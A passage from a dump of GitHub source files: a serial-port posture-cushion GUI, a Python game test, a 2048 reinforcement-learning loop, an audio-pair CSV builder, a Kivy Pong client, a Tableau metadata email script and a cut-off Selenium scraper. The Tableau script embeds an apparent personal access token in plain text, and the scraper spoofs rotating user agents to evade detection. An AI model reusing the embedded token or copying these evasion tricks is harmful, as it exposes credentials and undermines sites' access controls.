'Windows'):\n port=serial.Serial(str(self.serial_ports[i]),115200)\n else: \n port=serial.Serial(\"/dev/\" + str(self.serial_ports[i]),115200)\n \n logging.info(\"Try to connect {}\".format(self.serial_ports[i])) \n port.write(\"v\".encode('utf-8')) #send char by serial communication with the set baud rate (try doing so to each port until...)\n port.reset_output_buffer() #ready to send\n\n port.reset_input_buffer() #ready to receive\n \n #...until one replies with this string\n if str(port.read(10))== \"b'Posture$$$'\": #at this point the PSoC has recognized the this device (v) and this device has recognized the PSoC (Posture$$$)\n port.write(\"e\".encode('utf-8')) #send \"e\" to advise the PSoC that connection has been initialized\n porta = self.serial_ports[i] \n port.close()\n logging.info(\"Successfully connected\")\n\n break\n else: #actually ctrl+C is the command to skip the port if it were to get stuck in it (rare issue for mac devices with devices connected to bluetooth)\n enter=int(dt.datetime.now().strftime(\"%S\")) \n if (int(dt.datetime.now().strftime(\"%S\")) > enter+2): #deals with rare case in which it gets stuck in a port that does not repond as expected, forces to pass on (as timeout should already do automatically)\n pass\n except: \n logging.info(\"passed by{}\".format(self.serial_ports[i])) #skip port that do not respond as expected\n pass\n return porta\n\n###############\n# MAIN WINDOW #\n###############\nclass MainWindow(QMainWindow):\n def __init__(self):\n \"\"\"!\n @brief Init MainWindow.\n \"\"\"\n super(MainWindow, self).__init__()\n\n # title and geometry (window sizes)\n self.setWindowTitle(\"PSOCuscino\")\n width = 200\n height = 160\n self.setMinimumSize(width, height)\n\n self.initUI()\n \n #####################\n # GRAPHIC INTERFACE #\n #####################\n def initUI(self):\n \"\"\"!\n @brief Set up the graphical interface structure.\n \"\"\"\n global CONN_STATUS\n #self.port = Serial(\"/dev/ttyACM0\",115200)\n self.serialwork = SerialWorker(None)\n self.threadpool = QThreadPool() #manage threads\n self.connected = CONN_STATUS\n \n self.serialwork = SerialWorker(SerialWorker(None).search_port()) #call method of SerialWorker to connect to desired port\n self.threadpool.start(self.serialwork)\n \n # Create intuitive interface to control device functioning and visualize heatmap\n self.imageWidget = pg.GraphicsLayoutWidget()\n self.imageWidget.setBackground('#112233') #gray image widget background\n \n #define label for posture prediction\n self.posture_outcomes = QLabel() #predicted label for the posture (instantiation)\n self.posture_outcomes.setStyleSheet('QLabel {background-color: #112233; font-size: 20pt;font-weight: bold; color: red;}')\n self.posture_outcomes.setAlignment(Qt.AlignCenter)\n\n # Define buttons (for user interagtion with GUI: start data streaming, stop it, export file for specified user)\n self.start_btn = QPushButton(\n text=\"Start\",\n clicked=lambda: [self.h5_btn.hide(),self.serialwork.run(is_killed=False),self.serialwork.send(\"b\")] #click Start -> send b -> PSoC starts sampling, sending and calibrating\n )\n self.set_font(self.start_btn)\n\n self.stop_btn = QPushButton(\n text=\"Stop\", \n clicked=lambda: [self.h5_btn.show(),self.serialwork.send(\"s\"),self.serialwork.killed()] #click Stop -> send s -> PSoC stops sampling and sending; and connection is killed\n )\n self.set_font(self.stop_btn)\n\n self.h5_btn = QPushButton(text=\"Export file\",clicked=lambda: self.image_to_h5()) #export h5 file of all frames of heatmap collected from start to stop, save to predefined folder\n self.set_font(self.h5_btn)\n self.h5_btn.hide() #hide the \"export file\" button until stop is pressed (file ready to be exported)\n \n # layout\n button_hlay = QHBoxLayout() #order of buttons from left to right\n button_hlay.addWidget(self.start_btn) \n button_hlay.addWidget(self.stop_btn)\n button_hlay.addWidget(self.h5_btn)\n textbox_hlay = QHBoxLayout()\n textbox_hlay.addWidget(self.posture_outcomes)\n vlay = QVBoxLayout() #buttons above, heatmap below\n vlay.addLayout(button_hlay)\n vlay.addWidget(self.imageWidget)\n vlay.addLayout(textbox_hlay)\n widget = QWidget()\n widget.setLayout(vlay)\n self.setCentralWidget(widget)\n \n #Dark widget color \n widget.setAutoFillBackground(True)\n palette = widget.palette()\n palette.setColor(widget.backgroundRole(),QtCore.Qt.black)\n widget.setPalette(palette)\n\n #Load pipeline: the pipeling already accounts for data transformations to be applyed to new data that were fit on the \n # training data: MinMax scaler [-1;1]; and also the load keras model\n folder_name = \"../pipeline/posture_modelTue_18-01-2022_12_17_20\" #path to folder with the trained model, scaler, classes\n self.pipe= self.load_pipeline(\"scaler.pkl\", \"classes.pkl\", 'model.h5', folder_name) \n \n #Receive sampled data from Nsensors=11\n #create grid and set the position of sensors and padding (1 to 1 representation of real sensor distribution on chair)\n self.x=np.linspace(0,44,45) #chair width is 44cm : with 45 pixels, resolution is of 1cm\n self.y=np.linspace(0,40,41) #chair length (from back to front) is 40cm : with 41 pixels, resolution is of 1cm \n self.X,self.Y=np.meshgrid(self.x,self.y)\n \n #position in cm of sensors first and then padding; each from bottom (behind) left to top (front) right\n #position on x axis (horizontal)\n self.px= np.array([10,18.5,25.5,34,9.5,16,28,34.5,10.5,22.5,33.5,0,10,18.5,21.5,25.5,34,44,0,21.5,44,0,22,44,0,18.4,26,44,0,10,18.5,21.5,25.5,34,44])\n #position on y axis (vertical)\n self.py= np.array([12.5,10.5,10.5,12.5,19,18.5,18.5,19,27.5,31.5,27.5,0,0,0,0,0,0,0,11.5,11.5,11.5,19,19,19,29,29,29,29,40,40,40,40,40,40,40])\n\n \n self.memory=np.empty((0,41,45),int) #initialize collection of frames in time for offline model training (using acquired files from different users)\n self.Fsr=np.ndarray(shape=(N_SENSORS)) #initialize array for sensors' 2 bytes values\n self.timer = QtCore.QTimer(self) \n self.timer.setInterval(300) # corresponds to time between 2 successive transmissions of Nsensors at a time\n self.timer.start()\n self.timer.timeout.connect(self.onNewData) #call every 300ms (new data received)\n self.image = pg.ImageItem()\n self.image.setOpts(axisOrder='row-major') #to fill in the image: inner loop(from left to right), outer loop(from bottom to top)\n self.plot=pg.PlotItem()\n self.plot.addItem(self.image)\n self.imageWidget.addItem(self.plot)\n self.bar=pg.ColorBarItem(values=(0,65_535),colorMap=pg.colormap.get('magma')) #plot item with pixel values from 0 to 65535 to which \"magma\" color map is made correspond\n \n def onNewData(self):\n \n if not self.serialwork.is_killed: #if connections is not killed (closed)\n self.serialwork.port.reset_input_buffer() #prepare for reception of new data: synchronizes reading with received signal (has fixed header and tail)\n self.data=self.serialwork.port.read(TRANSMIT_BUFFER_SIZE).hex()[2:-2] #serial communication of 2 byte per sensor (remove header and tail from decoding: [2:-2])\n for i in range (N_SENSORS): #decode data\n self.Fsr[i]=int(self.data[i*4:i*4+4],16) #4 hex numbers corrispond to 2 bytes, so for each sensor i take 4 hex numbers and convert in int from base 16\n \n #create padding: to improve upon 0 padding a uniform distribution of the sensors is modelled here (5x7 matrix like)\n #this is then fed to griddata which will interpolate the sensors and these values rather than zeros; this is a semplification\n #since only adjacient cells are considered and they are simply linearly combined; but heuristically griddata proved to work\n #better on these values (introducing non linear combinations of sensors based on the real vicinity) than even simpler zeroes\n #notice: border values were given greater dropping rates than central ones\n self.pad=np.array([ int(self.Fsr[0]/3),\n int(0.7*self.Fsr[0]+0.3*self.Fsr[1]),\n int(0.3*self.Fsr[0]+0.7*self.Fsr[1]),\n int((self.Fsr[1]+self.Fsr[2])/3), \n int(0.7*self.Fsr[2]+0.3*self.Fsr[3]),\n int(0.3*self.Fsr[2]+0.7*self.Fsr[3]),\n int(self.Fsr[3]/3),\n int(0.7*self.Fsr[0]+0.3*self.Fsr[4]),\n int((self.Fsr[2]+self.Fsr[1])/2),\n int(0.7*self.Fsr[3]+0.3*self.Fsr[7]),\n int(0.25*self.Fsr[0]+0.5*self.Fsr[4]+0.25*self.Fsr[8]),\n int((self.Fsr[5]+self.Fsr[6]+self.Fsr[9])/3),\n int(0.25*self.Fsr[3]+0.5*self.Fsr[7]+0.25*self.Fsr[10]),\n int(0.7*self.Fsr[8]+0.3*self.Fsr[4]),\n int((self.Fsr[8]+self.Fsr[9]+self.Fsr[5])/3),\n int((self.Fsr[9]+self.Fsr[10]+self.Fsr[8])/3),\n int(0.7*self.Fsr[10]+0.3*self.Fsr[7]),\n int(self.Fsr[8]/3),\n int(self.Fsr[8]/3),\n int((self.Fsr[8]+self.Fsr[9])/3),\n int(self.Fsr[9]/3),\n int((self.Fsr[9]+self.Fsr[10])/3),\n int(self.Fsr[10]/3),\n int(self.Fsr[10]/3)])\n \n self.im = np.concatenate((self.Fsr,self.pad/4)) #feed both sensors and custom padding to griddata\n \n #cubic (4th input) interpolation of sensors (and paddings) values: 1st input; based on real distance among them: 2nd input; with specified resolution, given by grid: 3rd input\n self.T=interpolation.griddata((self.px,self.py),self.im,(self.X,self.Y),method=\"cubic\") \n \n self.memory=np.append(self.memory,self.T.reshape(1,self.T.shape[0],self.T.shape[1]).astype(int),axis=0) #append each heatmap frame \n self.tmp =self.memory\n \n self.padded_array = np. zeros((45, 49))\n self.padded_array[1:self.T.shape[0]+1,1:self.T.shape[1]+1] = self.T \n self.image.setImage(self.padded_array)\n self.bar.setImageItem(self.image,insert_in=self.plot) #plot interpolated result\n \n #Posture net predict and show in a text box\n self.predict = self.pipe.predict(self.T.reshape(1,self.T.shape[0],self.T.shape[1])) #before was 45,41\n if self.predict == 0:\n self.posture_outcomes.setText(\"Posture: CORRECT\")\n elif self.predict == 1:\n self.posture_outcomes.setText(\"Posture: LEANING FORWARDS\")\n elif self.predict == 2:\n self.posture_outcomes.setText(\"Posture: LEANING BACKWARDS\")\n elif self.predict == 3:\n self.posture_outcomes.setText(\"Posture: LEANING RIGHT\")\n else:\n self.posture_outcomes.setText(\"Posture: LEANING LEFT\")\n \n \n else: #in case serialworker.is_killed == True\n \n self.memory = np.empty((0,41,45),int) #reset the memory for next aquisition \n \n def ExitHandler(self): #otherwise threads stay open untill execution is terminated, uselessly using up CPU\n \"\"\"!\n @brief Kill every possible running thread upon exiting application.\n \"\"\"\n self.serialwork.killed()\n\n def image_to_h5(self): #when \"export file\" is clicked\n self.h5_btn.hide()\n\n #OS interoperability\n if (platform.system() == 'Windows'):\n path= \"..\\Data\\RAW\\\\\" + str(sys.argv[1]) #the user is specified when running the program from terminal; a userfriendly way to do so\n #has not been implemented since this proces is only necessary to train the network; once this is done \n #we are only interested in online predictions (no need to save the file) \n else: \n path= \"../Data/RAW/\"+str(sys.argv[1])\n if not os.path.exists(path): #creates folder in which data must be saved unless it already exists (1 folder per user); notice: more files per user are possible\n os.makedirs(path) \n now = dt.datetime.now()\n hf = h5py.File(path +\"/Aquisition_\" + now.strftime(\"%a_%d-%m-%Y_%H_%M_%S\")+\".h5\", 'w') #saves file in Data/RAW/ if you run from GUI_Python folder\n hf.create_dataset('image', data=self.tmp)\n hf.close()\n logging.info(\"save file to disk\")\n \n def load_pipeline(self,scaler, classes, model, folder_name): #files provided to this function are provided from pipeline (saved from posture_net.py)\n if platform.system()=='Windows':\n scaler = joblib.load(folder_name + '\\\\' + scaler, 'r')\n build_model = lambda: load_model(folder_name + '\\\\' + model)\n classifier = KerasClassifier(build_fn = build_model) #for sklearn - keras interoperability\n classifier.classes_ = joblib.load(open(folder_name + '\\\\' + classes, 'rb')) #define the classes to predict\n classifier.model = build_model()\n else: #other OS\n scaler = joblib.load(folder_name + '/' + scaler, 'r')\n build_model = lambda: load_model(folder_name + '/' + model)\n classifier = KerasClassifier(build_fn = build_model, epochs = 10, batch_size = 100, verbose = 1)\n classifier.classes_ = joblib.load(open(folder_name + '/' + classes, 'rb'))\n classifier.model = build_model()\n return Pipeline([ ('scaler', scaler), ('clf', classifier)])\n \n def set_font(self,btn):\n btn.setAutoFillBackground(True)\n btn.setStyleSheet('QPushButton {background-color: #112233; font-size: 20pt; font-weight: bold; color: red;}')\n\n#############\n# RUN APP #\n#############\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n \n w = MainWindow()\n app.aboutToQuit.connect(w.ExitHandler) #close all when closing the app\n w.show()\n \n sys.exit(app.exec_())\n\n\n# %%\n","repo_name":"peppevenezia/Smart_pillow","sub_path":"GUI_Python/plot_data_line.py","file_name":"plot_data_line.py","file_ext":"py","file_size_in_byte":19279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37747364227","text":"from xidtest import XidTest\n\n\"\"\"\nTests basic move processing for updating the crypto-address associations.\n\"\"\"\n\n\nclass AddressUpdateTest (XidTest):\n\n def expectAddresses (self, expected):\n \"\"\"\n Retrieves the current game state and asserts that the addresses\n associated to names match the ones given in the expected dictionary.\n \"\"\"\n\n nmState = self.getGameState ()[\"names\"]\n self.assertEqual (len (nmState), len (expected))\n\n for nm, s in nmState.items ():\n assert nm in expected\n self.assertEqual (s[\"addresses\"], expected[nm])\n\n def run (self):\n self.generate (101)\n self.expectAddresses ({})\n\n self.sendMove (\"foo\", {\n \"ca\": {\"btc\": \"1foo\", \"eth\": \"0xfoo\"},\n })\n self.sendMove (\"bar\", {\n \"ca\": {\"btc\": None, \"chi\": \"Cabcdef\"},\n })\n self.generate (1)\n self.expectAddresses ({\n \"foo\":\n {\n \"btc\": \"1foo\",\n \"eth\": \"0xfoo\",\n },\n \"bar\":\n {\n \"chi\": \"Cabcdef\",\n },\n })\n\n self.sendMove (\"foo\", {\n \"ca\": {\"eth\": None},\n })\n self.sendMove (\"bar\", {\n \"ca\": {\"chi\": None},\n })\n self.generate (1)\n self.expectAddresses ({\n \"foo\":\n {\n \"btc\": \"1foo\",\n },\n })\n\n\nif __name__ == \"__main__\":\n AddressUpdateTest ().main ()\n","repo_name":"xaya/xid","sub_path":"gametest/address_update.py","file_name":"address_update.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"48"} +{"seq_id":"25048232064","text":"import random\r\nimport time\r\n\r\nimport numpy as np\r\nfrom copy import deepcopy\r\nfrom envRL import Game2048\r\n\r\ngame = Game2048(theme='light')\r\n\r\n\r\ndef playGame(theme, difficulty, model):\r\n \"\"\"\r\n Main game loop function.\r\n \"\"\"\r\n\r\n board = game.new_game()\r\n time.sleep(0.2)\r\n status = \"PLAY\"\r\n\r\n # main game loop\r\n while status == \"PLAY\":\r\n state = deepcopy(board)\r\n state = game.change_values(state)\r\n state = np.array(state, dtype=np.float32).reshape((1, 4, 4, 16))\r\n\r\n control_scores = model(state)\r\n control_buttons = np.flip(np.argsort(control_scores), axis=1)\r\n\r\n\r\n key = control_buttons[0][0]\r\n legal_moves = game.findLegalMoves(board)\r\n\r\n while key not in legal_moves:\r\n key = random.randint(0, 3)\r\n\r\n if random.random() < 0.2:\r\n key = random.randint(0, 3)\r\n\r\n print(f\"applying move: {key}\")\r\n new_board, score = game.move(key, board)\r\n print(new_board)\r\n\r\n if not game.checkSame(board, new_board):\r\n\r\n board = game.fillTwoOrFour(new_board)\r\n game.display(board, theme)\r\n # update game status\r\n status = game.checkGameStatus(board, difficulty)\r\n # check if the game is over\r\n board, status = game.winCheck(board, status)\r\n\r\n else:\r\n board = new_board\r\n","repo_name":"aju22/DQN-2048","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"32059149551","text":"#from pydub import AudioSegment\r\nimport os\r\nimport pandas as pd\r\nimport numpy as np\r\nimport random\r\nfrom numpy import savetxt\r\nfrom numpy import loadtxt\r\nimport csv\r\n\r\n##########\r\nextracted_data = loadtxt('extracted_data.csv', delimiter=',') \r\n\r\nfilelist = os.listdir('all_files')\r\nfile_df = pd.DataFrame(filelist)\r\nfile_df = file_df.rename(columns={0:'file'})\r\n###\r\ncolumns = ['audio_1', 'audio_2']\r\ncsv_df = pd.DataFrame(columns=columns)\r\naudio_1 = []\r\naudio_2 = []\r\ndata_1 = []\r\ndata_2 = []\r\n##########\r\ndef check_label(i, j):\r\n \r\n if 'speaker' in file_df['file'][i]:\r\n speaker_1 = 272\r\n elif '-' in file_df['file'][i]: \r\n speaker_1 = file_df['file'][i].split('-')[0]\r\n else:\r\n speaker_1 = file_df['file'][i].split('.')[0]\r\n\r\n if 'speaker' in file_df['file'][j]:\r\n speaker_2 = 272\r\n elif '-' in file_df['file'][j]: \r\n speaker_2 = file_df['file'][j].split('-')[0]\r\n else:\r\n speaker_2 = file_df['file'][j].split('.')[0]\r\n if speaker_1 == speaker_2:\r\n return 1\r\n else:\r\n return 0\r\n##########################\r\nfor i in range(0, len(file_df)):\r\n print(i)\r\n for j in range(1, 40):\r\n if i + j >= len(file_df):\r\n break\r\n #temp = pd.DataFrame({'audio_1': [file_df['file'][i]], 'audio_2':[file_df['file'][i+j]]})\r\n #csv_df.append(temp)\r\n #csv_df['audio_1'][count] = file_df['file'][i]\r\n #csv_df['audio_2'][count] = file_df['file'][i+j]\r\n if check_label(i, i+j) == 1:\r\n audio_1.append(file_df['file'][i])\r\n audio_2.append(file_df['file'][i+j])\r\n data_1.append(extracted_data[i])\r\n data_2.append(extracted_data[i + j])\r\n for j in range(1, 15): #\r\n if i < 32:\r\n random_range = range(i+30, len(file_df))\r\n elif i > len(file_df) - 32:\r\n random_range = range(0, i - 30)\r\n else:\r\n random_range = [*range(0, i - 30), *range(i+30, int(len(file_df)))]\r\n temp = random.choice(random_range)\r\n #csv_df['audio_1'][count] = file_df['file'][i]\r\n #csv_df['audio_2'][count] = file_df['file'][random.choice(random_range)]\r\n #temp = pd.DataFrame({'audio_1': [file_df['file'][i]], 'audio_2':[file_df['file'][random.choice(random_range)]]})\r\n #csv_df.append(temp)\r\n audio_1.append(file_df['file'][i])\r\n audio_2.append(file_df['file'][temp])\r\n data_1.append(extracted_data[i])\r\n data_2.append(extracted_data[temp])\r\nprint('Xong Pair file')\r\ncsv_df['audio_1'] = audio_1\r\ncsv_df['audio_2'] = audio_2\r\ncsv_df['data_1'] = data_1\r\ncsv_df['data_2'] = data_2\r\n#print(type(csv_df['data_1'][1]))\r\n#### Set speaker #######\r\nspeaker_1 = []\r\nfor i in range(0, len(csv_df)):\r\n if 'speaker' in csv_df['audio_1'][i]:\r\n speaker_1.append(272) #227 is the only numer has this feature\r\n elif '-' in csv_df['audio_1'][i]: \r\n speaker_1.append(csv_df['audio_1'][i].split('-')[0])\r\n else:\r\n speaker_1.append(csv_df['audio_1'][i].split('.')[0])\r\ncsv_df['speaker_1'] = speaker_1\r\n#####\r\nspeaker_2 = []\r\nfor i in range(0, len(csv_df)):\r\n if 'speaker' in csv_df['audio_2'][i]:\r\n speaker_2.append(272) #227 is the only numer has this feature\r\n elif '-' in csv_df['audio_2'][i]: \r\n speaker_2.append(csv_df['audio_2'][i].split('-')[0])\r\n else:\r\n speaker_2.append(csv_df['audio_2'][i].split('.')[0])\r\ncsv_df['speaker_2'] = speaker_2\r\nprint(csv_df)\r\n### label ###\r\nprint('Di label ne')\r\nlabel = []\r\nfor i in range(0, len(csv_df)):\r\n if csv_df['speaker_1'][i] == csv_df['speaker_2'][i]:\r\n label.append(1)\r\n else:\r\n label.append(0)\r\ncsv_df['label'] = label\r\ncsv_df.to_csv('pair_lists_new.csv')\r\n\r\n\r\n# for i in range(0, len(train_df)):\r\n# a = random.randrange(0,len(train_df))\r\n# b = random.randrange(0,len(train_df))\r\n \r\n\r\n# df.to_csv(index=False)","repo_name":"pvantruong/Zalo_AI_Challenge_2020_Voice_Verification","sub_path":"create_list_csv.py","file_name":"create_list_csv.py","file_ext":"py","file_size_in_byte":3880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20409362112","text":"from network import GameNetworkFactory\n\nfrom kivy.app import App\nfrom kivy.animation import Animation\nfrom kivy.uix.label import Label\nfrom kivy.uix.button import Button\nfrom kivy.uix.widget import Widget\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.boxlayout import BoxLayout\n\nfrom kivy.properties import NumericProperty, ReferenceListProperty,\\\n ObjectProperty\nfrom kivy.vector import Vector\nfrom random import randint\nfrom kivy.clock import Clock\n\nfrom twisted.internet import reactor\n\n\nclass PongBall(Widget):\n\n def move(self, x, y):\n x = x * self.pong_game.width - self.width/2\n y = y * self.pong_game.height - self.height/2\n anim = Animation(x=x, y=y, duration=0.1)\n anim.start(self)\n\n\nclass PongPaddle(Widget):\n score = NumericProperty(0)\n\n def bounce_ball(self, ball):\n if self.collide_widget(ball):\n vx, vy = ball.velocity\n offset = (ball.center_y - self.center_y) / (self.height / 2)\n bounced = Vector(-1 * vx, vy)\n vel = bounced * 1.1\n ball.velocity = vel.x, vel.y + offset\n\n\nclass PongGame(Widget):\n ball = ObjectProperty(None)\n player1 = ObjectProperty(None)\n player2 = ObjectProperty(None)\n\n def serve_ball(self, vel=(4, 0)):\n self.ball.center = self.center\n self.ball.velocity = vel\n self.ball.pong_game = self\n\n def update(self, dt):\n self.ball.move()\n\n #bounce of paddles\n self.player1.bounce_ball(self.ball)\n self.player2.bounce_ball(self.ball)\n\n #bounce ball off bottom or top\n if (self.ball.y < self.y) or (self.ball.top > self.top):\n self.ball.velocity_y *= -1\n\n #went of to a side to score point?\n if self.ball.x < self.x:\n self.player2.score += 1\n self.serve_ball(vel=(4, 0))\n if self.ball.x > self.width:\n self.player1.score += 1\n self.serve_ball(vel=(-4, 0))\n\n def on_touch_move(self, touch):\n self.player1.center_y = touch.y\n data = self.player1.center_y / float(self.height)\n data = \"%f_\" % data\n print(data)\n self.connection.write(data)\n\n def update_enemy(self, position):\n location = position * self.height - self.player2.height/2\n anim = Animation(y=location, duration=0.1)\n anim.start(self.player2)\n\n def update_ball(self, x, y):\n self.ball.move(x, y)\n\n\nclass PongApp(App):\n connection = None\n state = None\n\n player1_name = \"\"\n player2_name = None\n\n def build(self):\n self.layout = BoxLayout(orientation='vertical')\n self.button = Button(text=\"Que for A Game\", on_press=self.que_for_game)\n self.textinput = TextInput(hint_text=\"Enter Your Name\")\n self.layout.add_widget(self.textinput)\n self.layout.add_widget(self.button)\n return self.layout\n # game = PongGame()\n # game.serve_ball()\n # Clock.schedule_interval(game.update, 1.0 / 60.0)\n # self.connect_to_server()\n # return game\n\n def que_for_game(self, what):\n self.state = \"in_que\"\n self.player1_name = self.textinput.text\n self.connect_to_server()\n self.layout.remove_widget(self.button)\n self.label = Label(text=\"Wait For A Player\")\n self.layout.add_widget(self.label)\n\n def start_game(self): \n self.layout.clear_widgets()\n self.game = PongGame()\n self.game.connection = self.connection\n self.game.serve_ball()\n # Clock.schedule_interval(self.game.update, 1.0 / 60.0)\n self.layout.add_widget(self.game)\n self.state = \"in_game\"\n\n def setup_gui(self):\n self.textbox = TextInput(size_hint_y=.1, multiline=False)\n self.textbox.bind(on_text_validate=self.send_message)\n self.label = Label(text='connecting...\\n')\n self.layout = BoxLayout(orientation='vertical')\n self.layout.add_widget(self.label)\n self.layout.add_widget(self.textbox)\n return self.layout\n\n def connect_to_server(self):\n reactor.connectTCP('localhost', 8000, GameNetworkFactory(self))\n\n def on_connection(self, connection):\n self.connection = connection\n\n def send_message(self):\n pass\n\nif __name__ == '__main__':\n PongApp().run()","repo_name":"RevengeComing/kivy-online-pong","sub_path":"client/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4297,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"19991976251","text":"import tableauserverclient as TSC\nimport requests\nimport json\n\nserver_url = 'https://10ax.online.tableau.com'\nsite = 'jharriscohdev372485'\npat = 'xNjZ7qg6QHW09lslrXUaTQ==:5Jjse8buJ7BwpzQffsilHbrSt7N7iZ0K'\npat_name = 'JeremyDevPAT'\ntableau_auth = TSC.PersonalAccessTokenAuth(token_name=pat_name, personal_access_token=pat, site_id=site)\nserver = TSC.Server(server_url, use_server_version=True)\n\ndef makeQuery():\n filtersls = []\n for x in range(1, 10):\n calc = '\"' + 'Calculation' + str(x) + '\"'\n test = '\"' + 'Test' + str(x) + '\"'\n field = '\"' + 'Field' + str(x) + '\"'\n ls = [calc, test, field]\n filtersls.extend(ls)\n\n filters = str.join(\",\", filtersls)\n\n query = \"\"\"{\n calculatedFields (filter: {nameWithin: [\"\"\" + filters + \"\"\"]}){\n id\n name\n formula\n downstreamWorkbooks {\n name\n projectName\n owner {\n id\n name\n email\n }\n }\n }\n }\"\"\"\n\n return query\n\ndef getData():\n server.auth.sign_in(tableau_auth)\n result = server.metadata.query(query=makeQuery())\n server.auth.sign_out()\n\n return result['data']['calculatedFields']\n\ndef prepBody(emp, wb, prj, fld, frmla):\n body = f\"\"\"Hello {emp}, \n You are receiving this email because you are the owner of a workbook that contains a \"\"\"\n body += f\"\"\"field we've flagged as having a potentially malformed name. Please review the name for {fld} on \"\"\"\n body += f\"\"\"workbook {wb} within the project {prj}. The formula for this field can be found below. Thank you!\n \n Calculation Formula: {frmla}\"\"\"\n\n return body\n\ndef sendEmails(email, wbname, body):\n subj = f\"Calculation Issue On {wbname} Tableau Workbook\"\n dict = {\"email\": email, \"subject\": subj, \"body\": body, \"from\": \"TableauFieldNamePolice@coh.org\"}\n jstr = json.dumps(dict)\n\n #send to zapier webhook to parse and send data, do not want to include an actual smtp\n url = \"https://hooks.zapier.com/hooks/catch/2363885/o5smet2/\"\n requests.post(url, data=jstr)\n\n return\n\ndef prepEmails(data):\n for field in data:\n for wb in field['downstreamWorkbooks']:\n email = wb['owner']['email']\n emp = wb['owner']['name']\n wbnm = wb['name']\n prj = wb['projectName']\n fld = field['name']\n frmla = field['formula']\n body = prepBody(emp, wbnm, prj, fld, frmla)\n sendEmails(email, wbnm, body)\n\ndef main():\n data = getData()\n prepEmails(data)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jharris126/TableauDataDevChallenges","sub_path":"Week2-A&I-Level3/EmailMalformedCalcs.py","file_name":"EmailMalformedCalcs.py","file_ext":"py","file_size_in_byte":2605,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"6130341776","text":"import random\nimport time\nfrom time import sleep\nimport csv\nimport os\nimport platform\nfrom datetime import datetime\nfrom selenium import webdriver\nfrom selenium.webdriver.firefox.service import Service as FirefoxService\nfrom selenium.webdriver.firefox.options import Options as FirefoxOptions\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\n\n# Inicializar el contador que servira como id de registro\ncontador = 1\n\ndef random_sleep(min_sec=3, max_sec=10):\n sleep(random.uniform(min_sec, max_sec))\n\ndef set_random_user_agent(driver):\n profile = webdriver.FirefoxProfile()\n random_user_agent = get_random_user_agent()\n profile.set_preference(\"general.useragent.override\", random_user_agent)\n driver.profile = profile \n\ndef get_driver(user_agent):\n print('-> Ejecutando en Plataforma: ' + platform.system())\n print('[Exito] Espere unos segundos mientras inicia el Navegador y comienza el escaneo ...')\n\n options = FirefoxOptions()\n #options.add_argument(\"--headless\") # Ejecutar en segundo plano\n options.add_argument(f'user-agent={user_agent}') # Agregar el user agent\n\n if platform.system() == 'Windows':\n service = FirefoxService(executable_path='./geckodriver.exe')\n return webdriver.Firefox(service=service, options=options)\n elif platform.system() == 'Linux':\n service = FirefoxService(executable_path='./geckodriver_0.32.2_ubuntu')\n return webdriver.Firefox(service=service, options=options)\n else: # macOS\n service = FirefoxService(executable_path='./geckodriver_mac')\n return webdriver.Firefox(service=service, options=options)\n \ndef get_user_agents():\n return [\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134',\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0',\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36',\n 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36',\n 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15',\n 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',\n 'Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0',\n 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0', \n ]\n\ndef get_random_user_agent():\n user_agents = get_user_agents()\n return random.choice(user_agents)\n\ndef update_user_agent(driver):\n random_user_agent = get_random_user_agent()\n driver.execute_script(f\"Object.defineProperty(navigator, 'userAgent', {{get: function () {{return '{random_user_agent}';}},}});\")\n\ndef scrape_productos(driver):\n wait = WebDriverWait(driver, 1)\n productos = wait.until(EC.presence_of_all_elements_located((By.XPATH, '//div[@id=\"gallery-layout-container\"]//div[@class=\"pointer pt3 pb4 flex flex-column h-100\"]')))\n\n for i in range(10):\n driver.execute_script(\"window.scrollBy(0, 500);\")\n time.sleep(1)\n\n return productos\n\ndef guardar_productos(productos):\n global contador\n fecha_scraping = datetime.now().strftime('%Y-%m-%d %H:%M:%S') \n for producto in productos:\n print(contador)\n nombre = WebDriverWait(producto, 1).until(\n EC.presence_of_element_located((By.XPATH,\n '//div[@ class =\"vtex-flex-layout-0-x-flexRow vtex-flex-layout-0-x-flexRow--product-info-container\"]//div//div[@ class =\"vtex-flex-layout-0-x-flexColChild vtex-flex-layout-0-x-flexColChild--product-info pb0\"]//div//div//div[@ class =\"pr0 items-stretch vtex-flex-layout-0-x-stretchChildrenWidth flex\"]//div[@ class =\"vtex-product-summary-2-x-productBrandContainer\"]//span[@class=\"vtex-product-summary-2-x-productBrandName\"]'))\n )\n\n productosSplit = producto.text.split(\"\\n\")\n\n if len(productosSplit) > 6:\n if len(productosSplit) == 7:\n precio = productosSplit[3]\n descuento = 